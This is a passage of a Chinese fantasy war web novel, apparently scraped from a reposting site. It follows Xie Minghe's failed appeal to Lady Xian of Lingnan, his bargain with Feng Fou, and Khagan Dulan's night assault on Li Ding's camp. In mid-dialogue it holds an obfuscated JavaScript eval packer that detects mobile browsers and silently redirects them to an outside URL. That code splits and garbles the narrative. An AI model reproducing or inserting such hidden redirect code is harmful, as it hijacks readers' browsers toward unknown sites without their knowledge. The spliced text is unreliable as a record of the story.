达奚部的这几十名年轻贵族如释重负,那达奚部继承人见到窦小娘如此讲道理,更是彻底放松下来,赶紧来到身前下拜,表示感谢……没办法的,这几日里,达奚部先是被人家直接攻破逼降,然后部落随从之后又在数日内大肆扩张,叫声亲奶奶都是应该的……当然,达奚部的人现在也知道了,人家是一位黜龙帮大龙头的女儿,眼下突袭巫地另一位龙头学生的媳妇,叫奶奶估计人家也不认。 不过,一念至此,这自称达奚部的巫族部落继承人反而有些疑惑,不管如何,这位窦将军都是个刚刚成婚的年轻女性,也不会喜欢这些的,眼不见心不烦不理会自己不就行了,为何还专门来找自己? 只是来敲打自己? 正想着呢,其人便抬起头来,却正见到一道火光自自己身侧飞来,扭头去看时,竟然是一柄冒着离火真气的白刃。 下一刻,达奚部继承人当场身死,身上也燃起熊熊火焰。 达奚部少主的随从武士们懵了一下,便要四处逃窜,窦小娘的随从以及驻守在此地的本营军士明显也愣了一下,方才开始猎杀这些人。 那队将杀了一人后,尤其不满,立即上前要做询问。 孰料,窦小娘反而摆手:“想法子放走几个人,去给他爹报信……那边的事情我已经有安排,你不要管。” 队将这才醒悟,赶紧执行去了。 达奚部的头人是当夜逃窜的,走的时候,只带走了十三骑。 而这使得他只花了半夜加一白日的时间,就见到了都蓝可汗……具体说是都蓝可汗亲自带领的大军。 都蓝可汗本人确实没有见这个冒姓达奚的野种部落头人,只一名年轻的贵族武士过来与他说话,得到消息后也立即消失,只将其人与随行十三骑收纳到军中而已,而这一切免不了引得这位头人在马上痛哭一场。 实际上,一直到晚间落帐,这名贵族武士方才同七八个同列一起,依次将得来的讯息告知都蓝可汗。 听完各类军情汇报,都蓝可汗迟疑片刻,没有征询在座的巫族贵人们的意见,而是看向了一位明显是南人的年轻武士: “窦大使,你以为如何?” 那名年轻南人武士,也就是大英顶尖门阀窦氏年轻一代佼佼者,此番大英出使巫地的大使窦濡了,闻言认真回复:“小使以为,之前在王庭的时候,可汗与诸位贵人商议的极为妥当,黜龙军此番过来,或许正是为了与南面争功而大举劫掠;之前一步步扩展劫掠,到了距离港口两百里的距离又开始有营团卸磨杀驴,似乎正是因为劫掠范围到了极限,准备撤军的意思……” “窦大使,你莫以为我听不懂你们南人说话的机锋。”和十年前相比,如今多了满脸皱纹的都蓝摇头嗤笑。“你左一个或许,右一个似乎,不就是不以为然吗?你到底什么意思?” 窦濡沉默片刻,恭敬拱手以对:“可汗,我担心李定此来另有居心,未必是劫掠。” “怎么说?”相较于周围贵人们肆意喝酒吃肉,都蓝身前的酒水、肉食未见减少,甚至就连他的语气都似乎和缓了不少。 “可汗,我曾听人转述张行议论**,他说凡事必有初,循着事情的前身去做,便能轻易三分。”窦濡认真回答。“而如今巫族三部与如今南地各家关系恰好就是这么顺着过往来的……就好像我来寻可汗,是因为可汗素来是反魏的,我们大英也是推魏而成,两家天然相合;不去中部找突利可汗,则是因为突利可汗受成义公主影响深远,始终想打着大魏的旗号做事情,我们自然没法与他们交接……至于黜龙帮,他们虽然也是反魏出身,而且已经立国,却收纳了大魏许多核心皇族,齐王曹铭与前太后俱在河北,那么他们有没有可能为了牵制我们大英,利用这个关系跟突利可汗联合呢?这样的话,李定此番冬日出兵就未必只是劫掠吧?” 这次轮到都蓝沉吟起来了。 但很快,这位做了快二十年东部巫族共主的可汗还是摇头:“窦大使,你这话是有道理的,怎么都得防着黜龙帮跟突利结盟对付我们东部,这是关乎我们东部存亡的要害之事,但这跟眼下一战却没有关系……他李定是来劫掠马上要走也好,是准备引诱我过来替突利创造战机也好,便是过苦海来看看风景的都罢了,反正我都要速速击败他!” 窦濡一时无言以对。 且说,这位窦氏精英子弟来到巫地以后,多少晓得一些巫地内情,知道都蓝的苦衷: 这位可汗到底年纪大了,修为也停滞了许久,在部落**体制下很容易招致内部的质疑,尤其是巫地现在有两个山头,突利那边无论是威望、实力、血统都不弱于都蓝——这种情况下,如果不能对黜龙军的挑衅进行坚决回击的话,倒不必忌惮黜龙军跨海立足,只怕王庭直属大部落会有人倒向突利那边。 这才是要命的事情。 当然,除此之外,另一个让窦濡无法反驳的事实是,从军事角度而言,都蓝的安排也的确有道理——无论如何,李定渡海而来,打下他立足之地便可全胜,而考虑到黜龙帮在河内大战(他还不知道南阳战端再启)投入的实力,那么李定此番出兵实力必然有限,依着都蓝王庭的能耐,自然是可以战而胜之的。 于是,窦濡也不多劝,只是从另一个角度做了提醒:“荡魔卫到底降了黜龙帮,可汗需小心人家有大司命……” “窦大使想多了。”都蓝干脆摆手。“若是按你这般计较,北地早就吞了巫地了……大司命真过来,就真有人招待他。” 窦濡终于不再言语。 而都蓝见状,也不再计较,只目光扫过那些表面上吃吃喝喝,耳朵却都竖起来的东部巫族各部贵人,先是微微敛容,待到所有人停止动作,整个大帐只剩风声之后,方才冷笑出声: “你们都听到了吗?现在贼人距我们不过两百里……但他们撒出来的兵马也摆到了两百里,咱们不能再迟疑,今夜好好休息,明日一早,我亲自带着祖龙旗,率骑兵大队突袭,夜间便可抵达!你们各部贵种和精锐都要随行!” 众头人早有准备,闻言各自拔刀喧哗,就在王帐内呼喊起来,全都赞同这个军令。 北方的战事越来越激烈与频繁,就在雪花与寒气铺陈了大半个天下的时候,谢鸣鹤气喘吁吁的跌坐在了南岭的山窝子里,引得南岭冯氏的几位随从子弟窃窃私笑……南岭的瘴气对凝丹以上、宗师以下的修行者而言是一个天敌,很多北方来的凝丹高手到了这里都要丢份子,而现在看来,这位江东八大家最出名的谢老公子,似乎也摆不脱这个命运。 没错,为了防止消息泄露,谢鸣鹤先抵达东都老家,然后选择突然绕行江东外海,先于南海郡登陆,然后又北上至南岭深处,前后花了一个整月的时间,终于在腊月十三这天抵达了南岭二十一郡的实际军政宗教文化中心——圣母山。 按照白有思的要求,他是来搬救兵的。 PS:这次新冠堪称酣畅淋漓……发烧,烧到全身发烫,意识模糊,然后刀片桑,咳嗽鼻塞,以为要完的时候,前头晚上忽然全身荨麻疹,昨天上午醒过来,荨麻疹消退,四肢浮肿,双手一攥那个酸爽……同时全家被带着一起中招,中间还穿插着宝宝急性喉炎,大半夜全家在医院求她做雾化……大家有身体弱的,尤其是独居的,家里有老人孩子的,真不要不当回事。 (本章完) 第九十三章 送乌行(3) 第553章送乌行(3) “老夫人,我是来做说客搬救兵的。” 圣母山上,谢鸣鹤洗了澡,换了衣服,然后当着南岭圣母冼夫人这位老人家兼大宗师的面从容喝了两盏茶,吃了不知道叫什么的新鲜水果,还连吃了半斤,待到全身都舒坦了,周围冯氏子弟外加无数各族出身的使女们聚齐了也看烦了,这才从容开口,却意外的坦诚。 “能不能请您老人家亲自出马,去长江上替我们黜龙帮斩杀真火教主操师御与当庐主人韦胜机?实在不行,派两位宗师也是可以的。” 在石洞内改建以至于宽阔到有些吓人的大堂上一时鸦雀无声,片刻后,气氛稍缓,但也只是数十冯氏子弟与数十使女们三五成群的各自相顾,他们表情各异,或打眼色,或是撇嘴,却依然不敢发出声音。 谢鸣鹤见状催促了一声:“老夫人,你以为如何?” 坐在上首榻上的南岭圣母夫人也有些掌不住:“老身之前都不知道谢公子投了黜龙帮,还以为你现在是为大梁做事呢。” “大梁?!”谢鸣鹤闻言拍案而起,竟有些气急败坏之态。“老夫人,我谢明鹤便不是什么英杰,也算是个好汉,怎么能把我当成大梁那些人呢?老夫人在南岭,到底挨着江南,难道不晓得所谓大梁的根底? “你不知道他们十几个王公姓氏全然不同? “不知道他们还未建国便在官道上刀兵相见?建了国反而反了三分之一? “不晓得他们君非君,臣非臣? “不晓得他们争名夺利,皇帝满脑子阴谋诡计,宗师一心要窃国?绕着这俩人上上下下狗脑子都要挤出来了? “老夫人,你便是大宗师,是南岭圣母,也不能这么看不起我!” 谢鸣鹤说的是情真意切,说的是愤恨难名,周围上下早已经看的发呆,就连南岭圣母老夫人别看坐着一动不动,心里也开始发虚……因为她的修为在这里,可以清晰的察觉到对方固然是有趁机做姿态的意思,但好像……好像是真这般想的! 过了片刻,还是圣母老夫人的孙子,前大魏南海太守……现不知道谁的南海太守,一路护送谢鸣鹤上圣母山的冯缶出言解围:“谢公子言过其实了吧?内斗这种事情,别人不晓得,你我旁观南朝更迭,难道不晓得吗?自唐至陈,江南一直是这样的。” “所以,南朝被人灭了。”谢鸣鹤正色以对。 冯缶不由捻须来笑:“若是这般说,我们也该助力灭了南朝的关陇人才对,如何反而要去替你们杀大英第一大将韦胜机呢?” 周围人如释重负……这才对嘛,这才是正儿八经的拉拢与谈判,刚才那都什么呀?弄得大家伙心里发虚,好像他们这些人也如大梁那些人一般可笑似的。 接下来就应该说一说,关陇人如何,黜龙帮如何,谁几胜谁几败,黜龙帮给开出什么条件,这才像话! “冯府君。”谢鸣鹤闻言直接抬手做了阻拦姿态,然后跌坐回座中。“我知道你要说什么,但现在我还不能与你说……两月间,我自河北至河南再至荆襄,然后江东、东海、南海,方才至此,堪称长途跋涉,现在没那个心力与你们做计较、做辩论,何况军情如火,也没有时间与你们拉扯……所以,请让我与老夫人当面相谈,所谓事情成则成,不成的话,北面正在决战,我还要回去打仗呢!” 冯缶尴尬一笑,只能看向自己鹤发如洗的祖母。 上方的圣母夫人沉吟片刻,也在座中正色相对:“谢公子,老身与你叔祖曾一起出海猎鲸,咱们怎么都算是世交,什么话说不得?只是你既替黜龙帮而来,老身偏偏系着整个南岭的安危,那有些话便要老身先说出来才行……你须晓得,我出自高凉冼氏,身后是十万本地僚众;我夫出自长乐冯氏,却是家国覆灭后南逃之人,仗着家族名号在这南岭蛮荒之地连任三代郡守,然后自我那一代联姻合一,乃是一心要使南岭安定下来,苟全于乱世之意,却不是为了称王称霸,更没有要借此为本钱在北面求什么富贵的意思。 “便是老身本人,虽然有些际遇,修到了大宗师,但心里也还是当年保一方平安的心思,所以才北上到这南岭立足,以求安抚岭内百族。实际上,若非新心念如一这么多年,也不至于修成这个大宗师。真要说动摇,当年陈朝太祖从本地起兵北上时,我们夫妇那般年轻,与他那般交情,早就动摇了,何至于现在被你说动,卷入北面争斗是非?” 谢鸣鹤点点头:“这些东西,小子来之前便已经想到了,但思来想去,还是决定过来……因为一来,老夫人这里已经是最后净土,也是最后没有上场的势力了,不来这里搬救兵也就没救兵;二来,小子这里确实有些肺腑之言,希望老夫人和诸位冯氏子弟能替南岭百族认真听一听。” 冼夫人没有言语,只是抬手示意,让对方讲来。 “我这里有三条利害,一则南岭,二则冯氏,三则老夫人……” 谢鸣鹤又喝了杯茶,平缓了一下语气,便开始了自己的劝说。 “先说南岭……恕小子直言,南岭不是冼氏僚人的南岭,也不是长乐冯氏南海分支的南岭,更不是这圣母山的南岭,南岭堂堂二十一郡,百族都只是虚数,所以,要从南岭这边计较利害,便应该从北面各家方针大略上来说,而若从此来论,其实是江南人掌权最佳……” “这话怎么说?”冯缶忍不住插了句嘴。 谢鸣鹤瞥了此人一眼,倒是没有再让对方闭嘴,而是认真解释:“这是因为南岭开化极晚,最需要的乃是继续开化,变成熟地……江南人掌权,在江南立国,便是**再混沌,因为挨得近,总会把南岭视为屏障,然后多几分经营,譬如他们的商贾,既跑不了北面,总得往这里钻……所以,萧辉、操师御能立得住身,对你们来说就是最好的结果。” “但是他们立不住身?”冯缶戏谑对道,宛若自嘲。 “这是自然。”谢鸣鹤继续道。“这是没办法的,江东没有豪杰了,最起码眼下这二十年出不了能当顶梁柱的豪杰,因为都被大魏一茬又一茬杀光了……江东八大家,好大的名号,我一个区区成丹,便是他们修为最高的,至于说**筹谋、金戈铁马,他们连北面提鞋都不如……没有下面一茬一茬的人支撑着,便假设他操师御跟萧辉算是个人物,又谈何立身?所以,这一条不要多想,他们非但不能立得住身,便是在此番争雄中都没资格掺手的。 “不过,江南之后,于南岭而言,便是我们黜龙帮了。” “黜龙帮施政有些离经叛道……”冯缶继续插嘴。 “我在北面待了七八年,倒是看清楚了什么叫做施政。”谢鸣鹤用奇怪的眼神看着冯缶。“所谓施政,其实就是用尽法子种更多地、养更多的牲畜,好产出来更多的米面肉,然后再用尽法子分下去……在北面说前面一个,那些人未必懂,总觉得天下就这些东西,但半开化的南岭这里应该是懂得;至于后面一个,大家都懂,我能说的便是,我们黜龙帮分米肉比关陇人公平的多。” 冯缶顿了一下,认真来问:“是说那个日后科举入仕和头领份额都有地域份额吗?” “那只是一方面,轻徭薄赋,律法宽仁,授田均田,以人为本……真说起来没完,但你要是只知道一个科考跟头领的份额,也未尝不可……我可以借此再告诉你们,我们黜龙帮施政,不止是一个头领数量的事情,也不止是对你们这些有势有力之人尽量公平,对上上下下,各类事情各类人都会尽量公平。”谢鸣鹤好像已经忘了他一开始如何不愿意跟人家交谈的样子了,此时说的火热。“而要我这个半路加进去的人来看,黜龙帮最大的优点就在这里,他们不是面面俱到,却有基本的念想,既然大魏待天下人不公,所以亡了,他们就要尽量公平,如何公平不可能一开始就应知尽晓,但遇到事情,有了能耐,便会尽量制定个可行可望的公正路数。 “诸位,你们在南岭,应该晓得公平公正这两个词是什么意思吧?只是南朝江左格局,都要歧视你们南岭人,平素索取无度,却不让你们公平去石头城寻个官做……甚至,我在这里举个大大不敬的例子,你们冯氏之所以有如今格局,不也是占了歧视南岭人的便宜吗?令祖父若是没有河北名门的旗号,凭什么来配老夫人?!僚人不是自甘**,又如何被什么长乐冯氏占了便宜?” 这话很不好,标准的当孙骂祖,但问题在于,骂祖父的方式是夸赞祖母,偏偏祖母就在堂上端坐着眯眼来听,并没有半点生气的意思,他们这些孙孙又孙孙的,也没法叽歪什么。 看到堂上这么多冯氏子弟憋得难受,谢鸣鹤终于昂然结束了三个议题的中第一个:“至于说关陇人,没什么可说的,大英便是个自新的大魏,人还都是那些人,若说他们将来得了天下会对南岭人上下都尽量公正,也不是不可能,但一定是因为我们黜龙帮像现在这般动摇了整个天下,一定是因为我谢鸣鹤来过南岭,告诉了你们南岭人天下还有另一条路可走……他们不得不迁就。” “至于冯氏……”谢鸣鹤站起身四下看了一圈,不由摇头失笑,然后向冼夫人拱手以对。“老夫人,小子说句话,你莫生气。” 冼夫人也笑:“老身既许你说话,又如何会生气?再说了,你今日说的哪句话不招人生气?要气早气了。” “那好。”谢鸣鹤重新坐下,语出惊人。“其实冯氏的利害很简单……若不能及时用上一些手段,就任由冯氏在南岭这么繁衍生长下去,等老夫人一死或者上天去,他们就要刀兵相见,像乌眼鸡一般斗死在这南岭鸡圈里…… “当然,冯氏百足之虫死而不僵,有一两支存活下去,自然是寻常,怕只怕届时要有几十上百万的南岭士民男女,为冯氏一己之私,一氏之乱做陪葬……而那时候,你老人家若是**倒还清静,怕只怕化龙在天上享受极乐,还要眼睁睁的瞅着,那就太可怜了。” 冼夫人闻言大笑,笑的眼泪都出来了,而笑声也将原本想要作态呵斥的冯氏子弟都给压住……就好像这几十年她一直做的那般。 “那我个人的利害呢?”冼夫人笑完,继续来问,却居然压过了冯氏的问题。 “忘了……”谢鸣鹤想了一会,忽然摇头。“就这些了……老夫人请做决断。” 冼夫人再笑:“怎么可能一下子就忘了?是不好说,还是不能说?总不会是不敢说吧?” “是不愿意说。”谢鸣鹤喟然道。“我曾经在邺城吞风台上见过一份文书,讲的是帮里对几位大宗师的评价。” “哦?”冼夫**概是今天第一次主动提起一点精神。“说来听听。” “大约就是说,这些大宗师大约分成两类,一类是背靠着教派、政权的,这些人的命数成就是跟着背后的东西走,所谓潮涨潮落,成易败易;第二类是自己寻到了路数,开创功业的。”谢鸣鹤如数家珍。“前者最明显的是北地荡魔卫大司命殷天奇、大魏皇叔领靖安台中丞曹林、东夷大都督郦子期;后者比较明显的,是金戈夫子张伯凤,是老夫人您;比较特殊的是冲和道长、现在的大英皇帝白横秋、千金教主孙思远……冲和道长自然是三一正教掌教,但明显也有自己的念想,最起码是把三一正教的念想跟自己的念想合一了,所以他最厉害;白皇帝一开始应该是有自己道术的,但做了皇帝,不得已转向了第一类;而千金教主则反过来,他先是背靠至尊与真火教,但到了如今,却是自己要重新立道了。” “有些道理。”冼夫人想了一想,认真以对。“但这些跟老身有何干系,为何要不愿跟老身说呢?” “因为真道难寻。”谢鸣鹤恳切道。“如金戈夫子,自金戈至夫子,自以为自己寻得正道,但等到油尽灯枯前看到千金夫子立千金碑方才醒悟,自己路是找对了,却用错了赶路的法子,他那个只在河东开一个半坡学院的路数,彷佛旱地行舟,又似江上浮马……至于老夫人,恕我直言,您前半生披荆斩棘,后半生却钉死在这圣母山上,其实路数已经尽了,想要避免金戈夫子的结果,最好是学千金教主的路数,离开圣母山,再寻出路……只是,小子刚刚说到一半,便已经想到,老夫人是心甘情愿止于这圣母山的,非要来劝,万一劝成了,未必是是好事。” “不错。”冼夫人微微来笑。“正是如此,老身心甘情愿在这圣母山上身死道消,不想求什么结果。” 谢鸣鹤恭敬行礼:“这是南岭二十一郡山海百族千万生民的福气,所以小子不敢再劝老夫人离开。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168049|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 冼夫人继续点点头:“利害就这些……还有别的言语吗?” “其他的当然也能说,但相隔**,那些虚的事情说了也无用,不如不说……”谢鸣鹤似乎有些萎顿。“反过来说,如果利害都说不动人,说什么道德人心,也没什么用。” “既如此,那老身就给答复了。”冼夫人轻松以对。“恕老身不能应许阁下的请求,去北方杀无冤无仇之人。” 谢鸣鹤点点头,继续一拱手:“那祝老夫人长命百岁,此生能得见天下太平!” 冼夫人再一点头,谢鸣鹤便转身离开此间大堂……须臾来报,他竟然直接下山去了。 冯氏子弟再去看自家老祖宗,却见这位之前还精神抖擞面带笑意的大宗师,此时复又闭上双目,状若养神,似乎又成了那个神气不佳、摇摇欲坠的老妇人。 就这样,下午的时候谢鸣鹤就下了山,然后没有往南走,而是马不停蹄往北走,晚间的时候抵达熙平郡郡治熙平城,然后宿在了此间……这里不是南海郡,而是熙平郡,是之前陈朝为了尊重冼夫人驻扎之地,专门在圣母山周边抠出来四五个县凑的小郡……而从此间往北走,正是岭南中“岭”字所指的五岭之地。 越过五岭,便是湖南与江西了,看样子谢鸣鹤是真要走。 于是乎,当夜三更,冯缶亲自追到此间,喊醒了谢鸣鹤,然后就在花厅内认真提醒:“谢兄,北面是五岭正地,瘴气密布,你便是成丹修为,一个人在岭内病了倒了,也没得性命,到时候我们如何与黜龙帮张首席交代?不妨等个十来日,我凑些子弟,送你过湖南。” 被临时叫醒的谢鸣鹤明显有些疲惫,似乎不想继续打机锋,便直接来言:“能有宗师吗?若没有宗师,最少十个凝丹外加两三个成丹与我,否则无用。” “宗师真没有。”冯缶无奈以对。“南岭我祖母以下,只两位宗师,一位是个僚人女族长,少年博虎自己开窍的,没有祖母吩咐,谁也请不来她;另一个正是我,但我忙碌的利害,委实离不开南岭……至于说十个凝丹,我不敢打包票,但尽量给你凑,你能待多久!” “不能待了,最多三日……北面真在决战!杀的血流成河的那种!”谢鸣鹤同样无奈以对。“老冯,这个时候不要瞻前顾后了!要使出劲来!我今日在堂上说的是假的吗?你们冯家没内斗,就是老夫人还在,老夫人一走,必然要相互攻伐的……趁现在,送出去一大半,建功立业,在别处取头领的名额,子孙后代都不占南岭的头领份额的,还省了自相残杀,有何不可呀?” 冯缶叹了口气,迟疑了一下,认真来问:“老谢,你与我说实话,黜龙帮真能赢吗?” “这话在这个时候问了有个屁用?!”谢鸣鹤咬牙切齿。“但你非要问,我也只能答……真能嬴!依着我看,当年白横秋入关前往河北那一下被张行带着帮内精华突围出去,这天下大势就定了,就是黜龙帮要赢的事情,只是分迟早……而现在看,这一日怕是比想的来得快!我这次能来南海找你,老冯,你们南岭冯氏须日后将我做老夫人的陪祀,逢年过节磕头才能还这份恩情!” 冯缶拢手不语,抿着的嘴唇都在发紧。 谢鸣鹤一声叹气,只能安静等待……没错,这才是谢鸣鹤真在要说服的对象,他从来没指望能说动冼夫人,凭什么说服这么一位大宗师呀?他一开始选择从南海入南岭,就是为了跟冯缶这个冯氏二号人物打照面,来表明来意,从而尽量让这厮多些时间做考虑和汇集人手……当然,他没有说谎,如果对方真要继续这么犹犹豫豫,他也不会耽搁的,而是要立即回到北方,参与决战。 过了不知道多久,冯缶终于艰难开口:“老谢,三日内十个凝丹真难,我只能说尽力去说服人跟你走……我有把握的,不过是五六个,但其中有一位成丹,而且我能再给你送三十个奇经……不过,若你能给我一个承诺,或许能多两分把握。” “比没有好!”谢鸣鹤长呼了一口气出去。“什么承诺?” “能不能保证去的凝丹都是头领?”冯缶恳切来问。 这次轮到谢鸣鹤沉默了……但是他也晓得,这是关键了,不能不做答复。 “按照如今的道理,说实话很难……尤其是我们自己强制筑基的孩子都已经开始入军了,接下来凝丹不值钱,而你们没有半点资历和立场,其实就是在投机取巧。”谢鸣鹤一字一顿,认真回复。“但那是接下来,此时此刻,双方决战之时,若说不值钱,我也不会来了……老冯,我只能说,依着张首席和白龙头的为人和器量,大概会认下这十个头领,而无论他们认不认,我今日既说这话,那将来拼却自己的前途,也要为这些人多寻几个头领位置……老冯,我给你做保证,而且,我还希望你也能去!去了,立下大功,不想回来,那边**;想回来,你祖母还在,谁能动摇你?” 冯缶点点头,不置可否:“你在这里等我三日!” 说完,径直离去。 夜色浓密,苦海畔,小雪再度如漫天盐粒一般狠狠砸下来,四更时分的时候,之前在二十里外休整了一个时辰的东部巫族联军骑兵大队终于发动了突袭。 风雪中,光芒四起,照亮了一面烂翅龙旗,龙旗向前,身后光芒纷纷汇聚,很快就化作了一条颜色斑斓的光蛇。随即,一支巨大的光箭凌空而起,直直射向了亮着火盆的望楼。 望楼几乎是一触即碎,引发了巫族骑兵们明显有些古怪的集体欢呼。 相隔数里,一处没有点火的望楼上,李定面无表情的望着这熟悉的一箭,心中虽没有什么称得上波澜的动荡,却也有些心情复杂。 这一箭之后,并没有什么沉默中满营点火,也没有什么整齐的锣鼓、军令和队列,但也没有完全的失序混乱,随着复杂庞大营地的最外围被一箭射醒,紧接着泛起的乃是明显带有慌乱的呼喊声、求救声,有些次序但又明显仓促的火光,纷乱而又密集的兵甲色和零星的箭矢反击……而显得如此正常的这一切,在风雪声、海浪声,以及巫族骑兵们发起冲锋时那古怪叫声中根本不值一提。 就这样,战斗开始了。 PS:成都下雨了,大家早安。 (本章完) 第九十四章 送乌行(4) 第554章送乌行(4) 都蓝可汗老了,但他的战场嗅觉没有丢失。 所以,射出那一箭后,这位东部巫族可汗就带着自己的祖龙卫护着他们巫族的烂翅祖龙旗停在了战场外围,充当监军之任,并集中精力观察战事……与此同时,他此行带来的三万精骑并没有全部投入战斗,甚至可以说,绝大部分都没有投入战斗,而是拖在更后方的夜色与风雪中继续隐藏,等待军令。 同样随行至此的窦濡看了一会,心中忐忑,便打马向前,主动来问:“可汗,您在等什么?” “等援军。”都蓝瞥了这个年轻关西贵族一眼,语气淡漠。“对面的援军。” “请可汗指教。”窦濡想了一下,认真拱手。 “黜龙帮天下三分有其一,还是据了天下最富庶的三一,那张三首席好大的名头,若说黜龙军本身无能,以至于刚刚一箭下去直接崩溃,那反而是有诈了。”都蓝倒没有遮掩的意思。“所以,要看他们的反应……如眼下当面这片营寨,他们反应就是对路的,仓促但又没有崩溃,反而尽量组织起防御……但这只是局部战场结果,我们这么多人,迟早要攻进去,没有太大意义,这一战的关键其实是看整个战场上他们的援军有多少有多快。 “若是外围百里到两百里间散着劫掠的兵马支援的极快极多,甚至是天亮前就有人出发来救,那便是有诈,咱们就不要恋战,利用骑兵优势,回头迎敌,先吃上两三个营,跟大队汇合再来逼迫便是;反过来说,现在咱们兵力不明,若是他们当面撑不住了,结果营地里的支援却不够快,甚至就不来支援,那也要小心他要引我们进去。” 窦濡再认真想了一下,心悦诚服:“可汗用兵老道,洞若观火,倒是小子之前的提醒显得轻浮了一些。” “这能一样吗?”都蓝眯眼看着天上雪花来叹。“我是可汗,这东部巫族千余部,数百万人口都系在我身上,生死成败,内忧外患都是我自己的事情,我不想谁想?而你呢,你只是个大使,你唯一要计较的就是万一我全败了,黜龙帮跟中部巫族联合在一起,直接威胁你们大后方,别的都不用管的……” 窦濡在马上恭敬俯身低头,然后便驻马与都蓝一起在这块小坡上冒雪观战。 战事的进展称不上摧枯拉朽,反而有些不顺利,最明显的一点是黜龙军在这个港口营地外围设置了大量针对骑兵袭扰的简易措施——栅栏、望楼、壕沟,而且是异制化的排序,比如栅栏之间宽窄不一,甚至是前面宽后面窄,然后忽然又来个死胡同,壕沟也是无序,高的高、矮的矮,有的还倒了海水结了冰,突出一个寸步难行的作用。 当然,从道理上讲应该也有防止之前掠夺的壮丁和牲畜逃跑的意思。 但无所谓了,此番突袭来的都是东部王庭以及王庭周边大部落的骑兵,建制齐全,装备精良,他们很快在头人和贵人的命令下下马步战,或持刀枪,或引弓弦,依仗着突袭优势与兵力优势持续攻入营寨,扩大掌控区域。 天还没亮呢,东部巫族就已经完全占据上风,从火把的进退和巫族夜战骨哨声音的位置就能看出来,瓦解当面防御已经是时间问题了。 窦濡略显关切的看向都蓝,都蓝很快下达军令,从视野外的身后主力部队远端,分出一支数千人的兵马绕到营地另一头发起攻击。 对此,窦濡倒是立即理解了过来,到目前为止,都还没有外围黜龙军回援的消息,眼下局势又占优,断不可能因为营寨里可能有说法而放弃攻击的,这种时候,分兵自外围敲击,扩大攻击面的同时进行试探,不失为一条路。 实际上,这个试探很快就产生了效果——绕行到另一侧的部队在清晨前的浓厚夜色与风雪中中迎面撞到了同样前来绕行攻击的黜龙军,双方直接在半道上开战。 这个消息让都蓝彻底放心,他甚至有心情再度夸赞了一下黜龙军的战力水平,绕后夹击可比直接从栅栏后面派援军水平高太多了。 于是乎,下一刻,都蓝发布军令,要求全军三万精骑一起下马,十人留一人看马,其余全部投入战斗,三面**这个巨大的营地。 天亮之前,没有斩获的部落,斩其头人! 营地深处已经重新积雪的望楼上,李定望着全军弃马压上的东部巫族精骑,并没有得逞的释然,反而流露出了某种饶有兴致的姿态。 战局发展的很快,也很混乱。 天还没亮呢,野地里的那支黜龙军,具体来说是一支粗略改编过的北地战团,就因为巫族精锐发动总攻而当场迅速败退下来,团首宇文万筹狼狈率领残部逃入营中; 紧接着,天蒙蒙亮的时候,首先攻击的那个半独立营盘易手,防御的黜龙军在损失颇大的情况下撤回更深的营盘内,将领的将旗据说都被巫族勇士夺走了; 而几乎是与此同时,在都蓝可汗视野之外的战场另一端,一支明显大意的巫族部队遭遇了一场来自于黜龙军精锐的经典诱敌包抄反击,被打的连头人都死在当场。 都蓝可汗听到最后这个消息的时候,天已经渐渐亮了,虽然风雪依然严重影响视野和感官,可庞大的营盘已经可以用人的目光来观察了。 说实话,相较于庞大战场上局部战场的得利与失利,都蓝更在意的是毫无疑问是眼前的营盘——因为这个巨大营盘的遮蔽效果太好了,到处都是毡布与栅栏,哪怕是天亮了,依然看不清内里的虚实。 兵马从哪里调度?大概有多少人?之前这些人掳掠的部落丁壮、牛羊不大可能被转运出去,如今在哪个地方? 最关键的是,大营这里的兵力到底有多少?是不是那些逃人们异口同声中的两万人?而且多是跟李定互不统属,最起码相处时间极短的北地兵马? 似乎是,又似乎不是。 都蓝深吸了一口冰冷的空气,他忽然发现自己似乎陷入到了一个陷阱中……不是那种常规的陷阱,而是他自己心境上的陷阱,因为他刚刚才意识到,从这次进军开始,自己就一直处于判断上的动摇状态,好像所有的情况都是那种有些合乎情理又似乎有些隐藏危险的样子。 而他也一直在与这种动摇做斗争,自己逼迫着自己选择极速而强硬的选项。 但这样的话,现在就要面对另一个选择——到底是情况和信息确实一直处于让人动摇的混沌状态,还是自己老了? 都蓝没有迟疑太久,他不相信事情那么巧合,不相信从头到尾都恰好是那种让他有所迟疑的境况,毫无疑问,问题就在于自己老了。 因为衰老,以至于面对着任何正常的情况都会本能想要保守与稳妥。与此同时,经验告诉这位东部巫族的统治者,为了维持统治,他必须要展示强硬和坚决,以遮掩衰老。 一念至此,都蓝可汗招手询问一侧的祖龙卫首领,也是自己的幼弟都速五:“现在还没有黜龙军外围援军的消息吗?” “没有。”都速五立即摇头。 “你留在这里,有外围黜龙军回援的消息就要立即去旗下告诉我。”都蓝下了军令。“其余祖龙卫,随我来!” 烂翅龙旗再度卷动,这一次,不需要真气光芒也能看的清楚,前线巫族战士们欢呼雷动,而且效果也的确是立竿见影,风雪中,都蓝可汗金甲玄披风,盔戴银翎,麾下祖龙卫也都一般装备齐整,他们沿着营寨外围往来驱驰,往往裹着真气的一箭射出,当面之栅栏便会洞开,前线士卒便会蜂拥而入,夺取当面之阵地。 稍有黜龙军精锐反扑,祖龙卫便会在可汗的带领下亲自下马作战,然后一举击溃反扑。 很快,不过大半个时辰,黜龙军外围营寨就几乎全数陷落。 窦濡立在更外围的地方观察局势,战局发展到眼下,似乎已经无须顾虑什么,但等他转头去看身侧等候在这里的都速五时,还是有些疑惑:“都速五兄,刚刚可汗问有没有黜龙军外围援军的消息?” 都速五面露疑惑:“窦大使刚刚不是就在旁边听着吗?没有消息的。” “我只是觉得奇怪。”窦濡认真分析道。“都速五兄想一想,咱们自两百里外突然扔下步卒疾驰奔袭而来,外围的黜龙军营头最近的一百里开外,远的两百里,那不管他们发觉没发觉,追没追,全骑还是步骑一起来追,咱们刚到的时候没有他们消息,后来便是有消息,今日午前怕是都赶不到了,咱们这边也该打完了,对不对?” “自然。” 